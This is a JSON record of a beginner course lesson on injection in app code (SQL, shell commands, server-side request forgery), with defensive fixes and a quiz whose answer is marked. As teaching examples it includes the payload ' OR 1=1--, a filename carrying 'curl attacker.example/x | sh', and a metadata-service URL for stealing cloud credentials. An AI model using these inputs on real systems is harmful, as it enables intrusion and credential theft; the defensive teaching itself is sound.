{"course":{"slug":"building-apps-with-ai","title":"Building Apps with AI","url":"https://addaly.com/learn/building-apps-with-ai","level":"beginner","track":"build"},"lesson":{"slug":"injection-in-three-places","title":"Injection in three places: the query, the shell, the URL","url":"https://addaly.com/learn/building-apps-with-ai/injection-in-three-places","position":71,"of":87,"minutes":9,"answer":"Injection is user text reaching an interpreter as code, and there are three interpreters in a typical app (the database.","keyIdea":"Injection is user text reaching an interpreter as code, and there are three interpreters in a typical app (the database, the shell and the server's own HTTP client) each with the same fix: pass data as data, never by building the command from strings."},"body":{"format":"markdown","text":"## One idea, three interpreters\n\nInjection is a single idea: text the user typed reaches something that interprets text as instructions, and the user's text becomes instructions. The first security lesson showed it for SQL. An app has at least two other interpreters with the same hole, and generated code reaches all three, because building a command from strings is the shortest working answer.\n\n## The query\n\nThe safe form passes values separately from the statement:\n\n```typescript\nawait db.execute(sql`SELECT * FROM users WHERE email = ${email}`);   // Drizzle: parameterised\nawait prisma.$queryRaw`SELECT * FROM users WHERE email = ${email}`;   // Prisma: also parameterised\n```\n\nThose template tags look like string building and are not: the library sends the query with placeholders and the values apart, and the database never parses the value as SQL. The unsafe forms look almost identical:\n\n```typescript\nawait db.execute(`SELECT * FROM users WHERE email = '${email}'`);     // a plain string: injectable\nawait prisma.$queryRawUnsafe(\"SELECT ... \" + email);                 // the name says so\n```\n\nThe two-minute test: on any login or search form, enter `' OR 1=1--` as the value. A safe query returns nothing or an error about a malformed email. An unsafe one logs you in as the first user, or returns every row. The ORM's normal query builder, `.where(eq(users.email, email))`, is always safe; the risk lives near `raw`, `execute`, `$queryRaw`, or a string containing `SELECT` that has a variable inside it.\n\n## The shell\n\nAn app that converts a video, resizes an image with a command-line tool, or runs a script does so by asking the operating system to run a command. The generated version builds that command as one string, with the uploaded file's name pasted into it, and hands the string to a shell:\n\n```text\nffmpeg -i <the filename from the upload form> out.mp4\n```\n\nNow a file named `video.mp4; curl attacker.example/x | sh` ends the ffmpeg command and starts another. The shell is an interpreter, and the filename was code. It works in every test, because every test uploads a file called `video.mp4`.\n\nThe fix is the same shape as for SQL: pass arguments as a list, so that no shell ever parses them:\n\n```typescript\nexecFile(\"ffmpeg\", [\"-i\", filename, \"out.mp4\"]);   // arguments, not a command string\n```\n\nWith a list, the filename is one argument however many semicolons it contains. And never use a user's filename for anything but display; generate your own name for the file on disk, as the uploads lesson said. Search the code for the `exec` function, for `spawn` with `shell: true`, and for any backtick string that begins with the name of a command-line tool. Each one is a place where a filename, a search term or a URL becomes a command.\n\n## The URL\n\nThe third interpreter is your own server's HTTP client. Any feature where the server fetches an address the user supplied (link previews, \"import from URL\", webhooks the user configures, an image proxy) lets the user make your server send a request from inside your network.\n\nInside the network are things the internet cannot reach: the cloud provider's metadata service at `169.254.169.254`, which on many platforms returns the credentials of the machine; a database admin panel bound to localhost; internal services with no authentication because they were never meant to be reachable. The user cannot get to them. Your server can, and it will fetch whatever it is told.\n\nThis is server-side request forgery, and the defence has to be positive, not negative. Resolve the hostname before fetching and refuse anything that is not a public address: private ranges, loopback, link-local, the metadata address. Refuse redirects to such addresses, since a public URL can redirect to an internal one. Better still, for a link preview, fetch through a separate service or a sandboxed function that has no network access to anything internal, so that a mistake in the filter costs nothing.\n\n## The one that goes the other way\n\nNot an injection into your interpreter, but the same failure in reverse: rendering data from the database or a model as HTML in the page. That is cross-site scripting, and it has its own lesson next, because the interpreter is the user's browser and the fix lives in a different place.\n\n## How to find all three\n\nSearch for the seams. `sql` or `SELECT` with a `${` inside a plain string. The shell-running functions. `fetch(` where the argument is not a literal. Each hit is a place where the question is: can the value here have come, in any way, from a user? If it can, it is data, and data goes in as an argument, never as part of the command.\n\nAsk the agent the same question per file: \"list every place where a value that could come from a request is used to build a SQL string, a shell command, or a URL that the server fetches\". Specific, per file, with a list as the answer. It finds most of them, and the ones it misses are found by the grep."},"check":{"question":"A 'fetch preview of a link' feature has the server request whatever URL the user pastes and return the page title. A user pastes http://169.254.169.254/latest/meta-data/ and gets back the cloud account's credentials. What class of hole is this?","options":[{"text":"SQL injection, because the URL was stored in the database without being escaped first.","correct":false,"tempting":"The URL was never treated as SQL; the harm happened when the server made an HTTP request, not when it stored a string."},{"text":"A missing rate limit, which allowed the user to probe many addresses quickly.","correct":false,"tempting":"One request was enough; limiting the rate slows discovery and does not stop a single fetch of an internal address."},{"text":"Cross-site scripting, since the page title was rendered back into the app without escaping and a crafted title could carry script into other users' browsers.","correct":false,"tempting":"Rendering the title unsafely would be a separate hole; the credentials leaked through the request itself, not through the rendering."},{"text":"Server-side request forgery: the server fetched a user-chosen address, which reached an internal endpoint the user could never reach directly.","correct":true}]},"prev":{"slug":"the-built-bundle-and-the-history","title":"Secrets in the built bundle, and in the history","url":"https://addaly.com/learn/building-apps-with-ai/the-built-bundle-and-the-history"},"next":{"slug":"validate-at-the-edge-and-mass-assignment","title":"Validate at the edge, and the field nobody meant to accept","url":"https://addaly.com/learn/building-apps-with-ai/validate-at-the-edge-and-mass-assignment"},"authorship":"Founder and series editor: Dr Mustafa Mun. Written by AI models to a written standard. Exam keys checked blind by a second model: 3,665 of 3,666 agreed. Academic review invited.","review":{"status":"Draft, open for academic review"},"cite":"Addaly (2026) 'Injection in three places: the query, the shell, the URL', in Building Apps with AI. Edited by M. Mun. Addaly. Available at: https://addaly.com/learn/building-apps-with-ai/injection-in-three-places (Accessed: 13 October 2026).","licence":{"name":"CC BY-NC-SA 4.0","url":"https://creativecommons.org/licenses/by-nc-sa/4.0/"},"reader":{"schema":1,"title":"Injection in three places: the query, the shell, the URL","courseTitle":"Building Apps with AI","module":{"index":8,"slug":"the-holes-ai-code-has-by-default","title":"The security holes AI code has by default"},"answer":null,"keyIdea":"Injection is user text reaching an interpreter as code, and there are three interpreters in a typical app (the database, the shell and the server’s own HTTP client) each with the same fix: pass data as data, never by building the command from strings.","hero":{"kind":"plate","image":null,"alt":null,"caption":null},"blocks":[{"t":"h2","id":"one-idea-three-interpreters","runs":[{"text":"One idea, three interpreters"}]},{"t":"p","runs":[{"text":"Injection is a single idea: text the user typed reaches something that interprets text as instructions, and the user’s text becomes instructions. The first security lesson showed it for SQL. An app has at least two other interpreters with the same hole, and generated code reaches all three, because building a command from strings is the shortest working answer."}]},{"t":"h2","id":"the-query","runs":[{"text":"The query"}]},{"t":"p","runs":[{"text":"The safe form passes values separately from the statement:"}]},{"t":"code","lang":"typescript","label":"TypeScript","text":"await db.execute(sql`SELECT * FROM users WHERE email = ${email}`);   // Drizzle: parameterised\nawait prisma.$queryRaw`SELECT * FROM users WHERE email = ${email}`;   // Prisma: also parameterised"},{"t":"p","runs":[{"text":"Those template tags look like string building and are not: the library sends the query with placeholders and the values apart, and the database never parses the value as SQL. The unsafe forms look almost identical:"}]},{"t":"code","lang":"typescript","label":"TypeScript","text":"await db.execute(`SELECT * FROM users WHERE email = '${email}'`);     // a plain string: injectable\nawait prisma.$queryRawUnsafe(\"SELECT ... \" + email);                 // the name says so"},{"t":"p","runs":[{"text":"The two-minute test: on any login or search form, enter "},{"text":"' OR 1=1--","code":true},{"text":" as the value. A safe query returns nothing or an error about a malformed email. An unsafe one logs you in as the first user, or returns every row. The ORM’s normal query builder, "},{"text":".where(eq(users.email, email))","code":true},{"text":", is always safe; the risk lives near "},{"text":"raw","code":true},{"text":", "},{"text":"execute","code":true},{"text":", "},{"text":"$queryRaw","code":true},{"text":", or a string containing "},{"text":"SELECT","code":true},{"text":" that has a variable inside it."}]},{"t":"h2","id":"the-shell","runs":[{"text":"The shell"}]},{"t":"p","runs":[{"text":"An app that converts a video, resizes an image with a command-line tool, or runs a script does so by asking the operating system to run a command. The generated version builds that command as one string, with the uploaded file’s name pasted into it, and hands the string to a shell:"}]},{"t":"code","lang":"text","label":"Text","text":"ffmpeg -i <the filename from the upload form> out.mp4"},{"t":"p","runs":[{"text":"Now a file named "},{"text":"video.mp4; curl attacker.example/x | sh","code":true},{"text":" ends the ffmpeg command and starts another. The shell is an interpreter, and the filename was code. It works in every test, because every test uploads a file called "},{"text":"video.mp4","code":true},{"text":"."}]},{"t":"p","runs":[{"text":"The fix is the same shape as for SQL: pass arguments as a list, so that no shell ever parses them:"}]},{"t":"code","lang":"typescript","label":"TypeScript","text":"execFile(\"ffmpeg\", [\"-i\", filename, \"out.mp4\"]);   // arguments, not a command string"},{"t":"p","runs":[{"text":"With a list, the filename is one argument however many semicolons it contains. And never use a user’s filename for anything but display; generate your own name for the file on disk, as the uploads lesson said. Search the code for the "},{"text":"exec","code":true},{"text":" function, for "},{"text":"spawn","code":true},{"text":" with "},{"text":"shell: true","code":true},{"text":", and for any backtick string that begins with the name of a command-line tool. Each one is a place where a filename, a search term or a URL becomes a command."}]},{"t":"h2","id":"the-url","runs":[{"text":"The URL"}]},{"t":"p","runs":[{"text":"The third interpreter is your own server’s HTTP client. Any feature where the server fetches an address the user supplied (link previews, “import from URL”, webhooks the user configures, an image proxy) lets the user make your server send a request from inside your network."}]},{"t":"p","runs":[{"text":"Inside the network are things the internet cannot reach: the cloud provider’s metadata service at "},{"text":"169.254.169.254","code":true},{"text":", which on many platforms returns the credentials of the machine; a database admin panel bound to localhost; internal services with no authentication because they were never meant to be reachable. The user cannot get to them. Your server can, and it will fetch whatever it is told."}]},{"t":"p","runs":[{"text":"This is server-side request forgery, and the defence has to be positive, not negative. Resolve the hostname before fetching and refuse anything that is not a public address: private ranges, loopback, link-local, the metadata address. Refuse redirects to such addresses, since a public URL can redirect to an internal one. Better still, for a link preview, fetch through a separate service or a sandboxed function that has no network access to anything internal, so that a mistake in the filter costs nothing."}]},{"t":"h2","id":"the-one-that-goes-the-other-way","runs":[{"text":"The one that goes the other way"}]},{"t":"p","runs":[{"text":"Not an injection into your interpreter, but the same failure in reverse: rendering data from the database or a model as HTML in the page. That is cross-site scripting, and it has its own lesson next, because the interpreter is the user’s browser and the fix lives in a different place."}]},{"t":"h2","id":"how-to-find-all-three","runs":[{"text":"How to find all three"}]},{"t":"p","runs":[{"text":"Search for the seams. "},{"text":"sql","code":true},{"text":" or "},{"text":"SELECT","code":true},{"text":" with a "},{"text":"${","code":true},{"text":" inside a plain string. The shell-running functions. "},{"text":"fetch(","code":true},{"text":" where the argument is not a literal. Each hit is a place where the question is: can the value here have come, in any way, from a user? If it can, it is data, and data goes in as an argument, never as part of the command."}]},{"t":"p","runs":[{"text":"Ask the agent the same question per file: “list every place where a value that could come from a request is used to build a SQL string, a shell command, or a URL that the server fetches”. Specific, per file, with a list as the answer. It finds most of them, and the ones it misses are found by the grep."}]}],"check":{"question":[{"text":"A ‘fetch preview of a link’ feature has the server request whatever URL the user pastes and return the page title. A user pastes http://169.254.169.254/latest/meta-data/ and gets back the cloud account’s credentials. What class of hole is this?"}],"options":[{"text":[{"text":"SQL injection, because the URL was stored in the database without being escaped first."}],"correct":false,"tempting":[{"text":"The URL was never treated as SQL; the harm happened when the server made an HTTP request, not when it stored a string."}]},{"text":[{"text":"A missing rate limit, which allowed the user to probe many addresses quickly."}],"correct":false,"tempting":[{"text":"One request was enough; limiting the rate slows discovery and does not stop a single fetch of an internal address."}]},{"text":[{"text":"Cross-site scripting, since the page title was rendered back into the app without escaping and a crafted title could carry script into other users’ browsers."}],"correct":false,"tempting":[{"text":"Rendering the title unsafely would be a separate hole; the credentials leaked through the request itself, not through the rendering."}]},{"text":[{"text":"Server-side request forgery: the server fetched a user-chosen address, which reached an internal endpoint the user could never reach directly."}],"correct":true,"tempting":null}],"order":[2,0,1,3],"why":null},"prev":{"slug":"the-built-bundle-and-the-history","title":"Secrets in the built bundle, and in the history","minutes":8},"next":{"slug":"validate-at-the-edge-and-mass-assignment","title":"Validate at the edge, and the field nobody meant to accept","minutes":8}}}